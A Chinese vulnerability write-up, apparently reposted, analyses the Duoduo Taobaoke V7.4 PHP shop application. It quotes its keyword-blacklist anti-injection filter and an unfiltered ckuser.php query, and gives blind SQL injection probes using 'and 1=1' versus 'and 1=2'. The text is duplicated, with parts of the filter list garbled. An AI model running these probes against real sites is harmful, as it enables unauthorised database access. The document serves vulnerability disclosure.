您现在的位置是：网站首页> 编程资料编程资料
多多淘宝客V7.4绕过防注入及一个注入漏洞的分析_漏洞分析_网络安全_
2023-05-24
133人已围观
简介 多多淘宝客V7.4绕过防注入及一个注入漏洞的分析_漏洞分析_网络安全_
由于程序是开源程序
并下载其程序看了一番。其实程序员还是有一点安全意识的：
防注入代码：
//要过滤的非法字符
$ArrFiltrate = array (
"#union#i",
"#"#/script>#i",
"#select#i",
"#alert#i",
"#javascript#i",
"#"#"#\"#i",
"#\'#i",
"#delete#i",
"#vbscript#i",
"#applet#i",
"#frame#i",
"#"#update#i",
"#'#i",
"#union #i",
"#select #i",
"#delete #i",
"#update #i",
"#and #i",
"#;#i",
"#update#i"
);
$replacements='';
function FunStringExist(&$array,$ArrFiltrate,$replacements)
{
if (is_array($array))
{
foreach ($array as $key => $value)
{
if (is_array($value))
FunStringExist($array[$key],$ArrFiltrate,$replacements);
else
$array[$key] = preg_replace($ArrFiltrate, $replacements, $value);
}
}
}
FunStringExist($_GET,$ArrFiltrate,$replacements);
FunStringExist($_POST,$ArrFiltrate,$replacements);
这段代码多少还是有瑕疵的、只过滤www.jb51.net get post 我们只要找调用request的地方
别一个文件并没有调用防注入程序，导致字符注入、但受gpc影响
header("Content-Type:text/html;charset=utf-8");
include "../comm/config.php";
$uname = trim($_GET["name"]);
if($uname==''){
echo "true";
}else{
$con = @mysql_connect("$dbserver","$dbuser","$dbpass" )or die(ERR_DB);
mysql_select_db("$dbname",$con)or die("can not choose the dbname!");
$query="select * from ".$BIAOTOU."user where ddusername='".$uname."'";
mysql_query("set names utf8");
$res=mysql_query($query);
if(mysql_num_rows($res)!=0)
{echo "true";}
else
{echo "false";}
}
首先注册一个用户.让程序能过判断
ckuser.php?name=maxadd' and 1=1 and ''='
返回true
ckuser.php?name=maxadd' and 1=2 and ''='
返回false
并下载其程序看了一番。其实程序员还是有一点安全意识的：
防注入代码：
复制代码
代码如下://要过滤的非法字符
$ArrFiltrate = array (
"#union#i",
"#
"#select#i",
"#alert#i",
"#javascript#i",
"#
"#\'#i",
"#delete#i",
"#vbscript#i",
"#applet#i",
"#frame#i",
"#
"#'#i",
"#union #i",
"#select #i",
"#delete #i",
"#update #i",
"#and #i",
"#;#i",
"#update#i"
);
$replacements='';
function FunStringExist(&$array,$ArrFiltrate,$replacements)
{
if (is_array($array))
{
foreach ($array as $key => $value)
{
if (is_array($value))
FunStringExist($array[$key],$ArrFiltrate,$replacements);
else
$array[$key] = preg_replace($ArrFiltrate, $replacements, $value);
}
}
}
FunStringExist($_GET,$ArrFiltrate,$replacements);
FunStringExist($_POST,$ArrFiltrate,$replacements);
这段代码多少还是有瑕疵的、只过滤www.jb51.net get post 我们只要找调用request的地方
别一个文件并没有调用防注入程序，导致字符注入、但受gpc影响
复制代码
代码如下:header("Content-Type:text/html;charset=utf-8");
include "../comm/config.php";
$uname = trim($_GET["name"]);
if($uname==''){
echo "true";
}else{
$con = @mysql_connect("$dbserver","$dbuser","$dbpass" )or die(ERR_DB);
mysql_select_db("$dbname",$con)or die("can not choose the dbname!");
$query="select * from ".$BIAOTOU."user where ddusername='".$uname."'";
mysql_query("set names utf8");
$res=mysql_query($query);
if(mysql_num_rows($res)!=0)
{echo "true";}
else
{echo "false";}
}
首先注册一个用户.让程序能过判断
ckuser.php?name=maxadd' and 1=1 and ''='
返回true
ckuser.php?name=maxadd' and 1=2 and ''='
返回false
相关内容
- WordPress 3.3.2鸡肋存储型跨站漏洞的分析_漏洞分析_网络安全_
- 通过Zend目录提权的方法详解_漏洞分析_网络安全_
- 网站受到XSS跨站点脚本攻击的分析及解决方法_漏洞分析_网络安全_
- 腾讯QQ空间的跨站漏洞介绍以及修复解决的方案(图)_漏洞分析_网络安全_
- PHP 5.4 (5.4.3) Code Execution (Win32) 代码_漏洞分析_网络安全_
- 讯时后台管理系统v4.9的鸡肋漏洞分析_漏洞分析_网络安全_
- 人人网CSRF漏洞曝光及修复方案_漏洞分析_网络安全_
- 中国移动mas2.0平台系统漏洞暴光 附修复方法_漏洞分析_网络安全_
- 电脑开机速度慢怎么办 教你如何解决_漏洞分析_网络安全_
- IIS 7.0 网站漏洞利用及修复方法_漏洞分析_网络安全_
